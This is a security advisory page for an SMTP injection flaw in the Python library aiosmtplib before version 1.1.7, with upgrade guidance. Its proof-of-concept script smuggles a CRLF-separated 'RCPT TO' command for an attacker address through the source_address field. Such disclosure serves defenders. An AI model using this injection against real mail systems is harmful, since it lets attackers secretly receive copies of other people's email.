SMTP Injection Affecting aiosmtplib package, versions [,1.1.7)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-AIOSMTPLIB-3042406
  • published11 Oct 2022
  • disclosed2 Sept 2022
  • creditSam Sanoop of Snyk Security Team

Introduced: 2 Sep 2022

CVE NOT AVAILABLE CWE-147  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade aiosmtplib to version 1.1.7 or higher.

Overview

aiosmtplib is an aiosmtplib is an asynchronous SMTP client for use with asyncio.

Affected versions of this package are vulnerable to SMTP Injection. It is possible to insert an arbitrary SMTP command through the hostname or the source_address field.

PoC


import asyncio
from email.message import EmailMessage

from aiosmtplib import SMTP

async def say_hello():
    message = EmailMessage()
    message["From"] = "root@localhost"
    message["To"] = "somebody@example.com"
    message.set_content("Sent via aiosmtplib")

    smtp_client = SMTP(
        hostname="127.0.0.1",
        port=1225,
        source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>"
    )
    async with smtp_client:
        await smtp_client.send_message(message)

event_loop = asyncio.get_event_loop()
event_loop.run_until_complete(say_hello())

CVSS Base Scores

version 3.1